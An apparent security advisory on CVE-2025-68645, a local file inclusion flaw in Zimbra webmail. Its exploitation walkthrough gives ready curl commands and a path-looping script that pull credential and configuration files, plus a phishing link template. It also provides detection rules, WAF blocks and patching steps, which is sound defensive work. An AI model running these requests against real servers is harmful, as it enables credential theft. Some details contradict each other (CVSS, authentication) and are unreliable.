HIGH CVSS: N/A โ€ข 2026-02-13

CVE-2025-68645: Critical LFI in Zimbra Webmail Classic UI Exposes Sensitive Files

Unauthenticated Local File Inclusion vulnerability in Zimbra Collaboration Server allows remote attackers to read arbitrary files from the WebRoot directory.

CVE-2025-68645: Critical Local File Inclusion in Zimbra Webmail Classic UI

Executive Summary

CVE-2025-68645 represents a critical security flaw in Zimbra Collaboration Server (ZCS) versions 10.0.x and 10.1.x that allows unauthenticated attackers to read arbitrary files from the server's WebRoot directory through a Local File Inclusion (LFI) vulnerability. With a CVSS score of 8.8, this vulnerability poses significant risks to organizations running affected Zimbra installations.

The vulnerability stems from improper input validation in the RestFilter servlet component of Zimbra's Webmail Classic UI. Attackers can craft malicious requests to the /h/rest endpoint, manipulating the javax.servlet.include.servlet_path parameter to include and expose sensitive files such as configuration data, credentials, and system information.

What's at Risk:

  • Email server configurations and credentials
  • Database connection strings and authentication data
  • LDAP configuration files
  • SSH keys and certificate data
  • Application logs containing sensitive information
  • Internal system configurations

Organizations running vulnerable Zimbra versions should prioritize immediate patching, as this vulnerability requires no authentication and can be exploited remotely with minimal user interaction.

Technical Deep Dive

Vulnerability Mechanics

CVE-2025-68645 exploits a fundamental flaw in how Zimbra's RestFilter servlet processes user-supplied request parameters. The vulnerability occurs in the request dispatching mechanism within the Webmail Classic UI component.

Root Cause Analysis:

The RestFilter servlet, responsible for handling REST API requests, fails to properly sanitize and validate the javax.servlet.include.servlet_path parameter. This parameter is designed to control internal request routing but becomes a vector for file inclusion attacks when user input is inadequately filtered.

// Vulnerable code pattern (conceptual)
String servletPath = request.getParameter("javax.servlet.include.servlet_path");
// Missing validation allows path manipulation
RequestDispatcher dispatcher = request.getRequestDispatcher(servletPath);
dispatcher.include(request, response);

Attack Vector:

The attack leverages Java servlet container behavior where the javax.servlet.include.servlet_path parameter can influence request dispatching. When processed without proper validation, this parameter allows attackers to specify arbitrary file paths within the WebRoot directory structure.

Technical Impact:

  1. File System Access: Direct read access to files within the web application's accessible directories
  2. Configuration Exposure: Access to sensitive configuration files containing credentials and system settings
  3. Information Disclosure: Exposure of internal system architecture and security configurations
  4. Privilege Escalation Potential: Information gathered can facilitate further attacks

CWE Classification

This vulnerability is classified under CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program. While not PHP-specific, the same principle applies to Java servlet environments where user input controls file inclusion operations.

Exploitation Walkthrough

Prerequisites

  • Target running Zimbra ZCS 10.0.x < 10.0.18 or 10.1.x < 10.1.13
  • Network access to Zimbra web interface (HTTP/HTTPS)
  • Webmail Classic UI enabled
  • User interaction required (social engineering component)

Step-by-Step Exploitation

Step 1: Target Reconnaissance

# Identify Zimbra version and Classic UI availability
curl -s -I https://target.zimbra.com/ | grep -i server
nmap -p 80,443 --script http-title target.zimbra.com

Step 2: Basic LFI Test

# Test for web.xml inclusion
curl -s "https://target.zimbra.com/h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml"

# Look for XML content in response indicating successful inclusion

Step 3: Configuration File Extraction

# Extract Zimbra local configuration
curl -s "https://target.zimbra.com/h/rest?javax.servlet.include.servlet_path=/opt/zimbra/conf/localconfig.xml"

# Extract database configuration
curl -s "https://target.zimbra.com/h/rest?javax.servlet.include.servlet_path=/opt/zimbra/conf/my.cnf"

# Extract LDAP configuration
curl -s "https://target.zimbra.com/h/rest?javax.servlet.include.servlet_path=/opt/zimbra/conf/ldap.conf"

Step 4: Advanced File Discovery

# Common Zimbra configuration paths
PATHS=(
    "/WEB-INF/web.xml"
    "/WEB-INF/classes/config.properties"
    "/opt/zimbra/conf/localconfig.xml"
    "/opt/zimbra/conf/my.cnf"
    "/opt/zimbra/conf/slapd.conf"
    "/opt/zimbra/jetty_base/webapps/zimbra/WEB-INF/web.xml"
)

for path in "${PATHS[@]}"; do
    echo "Testing: $path"
    curl -s "https://target.zimbra.com/h/rest?javax.servlet.include.servlet_path=$path" | head -20
done

Step 5: Data Extraction and Analysis

# Save sensitive configurations
curl -s "https://target.zimbra.com/h/rest?javax.servlet.include.servlet_path=/opt/zimbra/conf/localconfig.xml" > localconfig.xml

# Extract credentials and database information
grep -E "(password|secret|key)" localconfig.xml

Social Engineering Component

Since the vulnerability requires user interaction (CVSS UI:R), attackers typically combine LFI exploitation with social engineering:

<!-- Malicious link sent via email/social media -->
<a href="https://target.zimbra.com/h/rest?javax.servlet.include.servlet_path=/opt/zimbra/conf/localconfig.xml">
    View Important System Update
</a>

Detection & Monitoring

YARA Rule

rule CVE_2025_68645_Zimbra_LFI_Detection {
    meta:
        description = "Detects Local File Inclusion exploitation attempts against Zimbra CVE-2025-68645"
        author = "ilovethreats.com Security Team"
        date = "2026-02-13"
        reference = "CVE-2025-68645"
        severity = "high"
        version = "1.0"

    strings:
        $endpoint = "/h/rest" nocase
        $param1 = "javax.servlet.include.servlet_path" nocase
        $param2 = "servlet_path" nocase
        
        $traversal1 = "../"
        $traversal2 = "%2e%2e%2f" nocase
        $traversal3 = "%2e%2e%5c" nocase
        
        $target_file1 = "localconfig.xml" nocase
        $target_file2 = "web.xml" nocase
        $target_file3 = "my.cnf" nocase
        $target_file4 = "WEB-INF" nocase
        $target_file5 = "/opt/zimbra" nocase

    condition:
        $endpoint and ($param1 or $param2) and 
        (any of ($traversal*) or any of ($target_file*))
}

Sigma Rule

title: CVE-2025-68645 Zimbra LFI Exploitation Attempt
id: a8f2c4d1-9e7b-4c3a-8f1d-2e6b9c4a7f3e
status: experimental
description: Detects attempts to exploit CVE-2025-68645 LFI vulnerability in Zimbra
references:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68645
author: ilovethreats.com
date: 2026/02/13
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2025.68645
logsource:
    category: webserver
detection:
    selection1:
        cs-uri-query|contains: 'javax.servlet.include.servlet_path'
        cs-uri-stem: '/h/rest'
    selection2:
        cs-uri-query|contains:
            - 'localconfig.xml'
            - 'web.xml'
            - 'my.cnf'
            - '/opt/zimbra'
            - 'WEB-INF'
    condition: selection1 and selection2
falsepositives:
    - Legitimate administrative access to configuration files
level: high

Network Detection

Suricata Rule:

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-68645 Zimbra LFI Attack Detected";
    flow:established,to_server;
    content:"/h/rest"; http_uri;
    content:"javax.servlet.include.servlet_path"; http_uri;
    pcre:"/javax\.servlet\.include\.servlet_path=[^&]*(?:\.\.\/|%2e%2e%2f|localconfig\.xml|web\.xml|my\.cnf)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation Guidance

Immediate Actions

1. Patch Installation

  • Upgrade to Zimbra ZCS 10.0.18 or later for 10.0.x installations
  • Upgrade to Zimbra ZCS 10.1.13 or later for 10.1.x installations
  • Verify patch installation with version checks

2. Temporary Workarounds

If immediate patching isn't possible:

# Disable Classic UI temporarily
su - zimbra
zmzimbractl stop
zmprov mc default zimbraFeatureWebClientEnabled FALSE
zmzimbractl start

3. Web Application Firewall (WAF) Rules

Implement blocking rules for exploitation attempts:

# Nginx WAF rule
if ($args ~ "javax\.servlet\.include\.servlet_path") {
    return 403;
}

# Block suspicious patterns in /h/rest requests
location /h/rest {
    if ($args ~ "servlet_path.*\.\./") {
        return 403;
    }
}

Long-term Security Measures

1. Input Validation Enhancement

  • Implement strict parameter validation in custom applications
  • Use allowlists for acceptable file paths
  • Sanitize all user-supplied input

2. Access Controls

  • Implement network segmentation for email infrastructure
  • Use VPN access for administrative interfaces
  • Enable multi-factor authentication for all accounts

3. Monitoring and Alerting

  • Deploy the detection rules provided above
  • Monitor for unusual file access patterns
  • Implement centralized logging for web application security events

4. Security Hardening

# Restrict file permissions
chmod 640 /opt/zimbra/conf/*.xml
chown zimbra:zimbra /opt/zimbra/conf/*.xml

# Enable additional security headers
zmprov mcf zimbraReverseProxyResponseHeaders "X-Content-Type-Options: nosniff"
zmprov mcf zimbraReverseProxyResponseHeaders "X-Frame-Options: DENY"

Verification Steps

1. Patch Verification

# Check Zimbra version
su - zimbra
zmcontrol -v

# Verify Classic UI status
zmprov gacf zimbraFeatureWebClientEnabled

2. Security Testing

# Test exploitation post-patch (should fail)
curl -s "https://your-zimbra.com/h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml"
# Should return error or redirect, not file contents

References


This analysis is provided for educational and defensive security purposes. Always ensure you have proper authorization before testing security vulnerabilities on systems you do not own.

๐Ÿงช Launch Lab Environment

Practice exploiting this vulnerability in a safe, isolated environment with browser-based access to a Kali Linux machine.

What you'll get:
  • โœ… Isolated vulnerable target instance to exploit
  • โœ… Kali Linux attacker VM with pre-installed tools
  • โœ… Browser-based desktop access (Apache Guacamole)
  • โœ… Completely isolated network (no internet)
  • โœ… 1-hour session with automatic cleanup
โš ๏ธ Free tier: 1 concurrent session max. Session expires after 1 hour.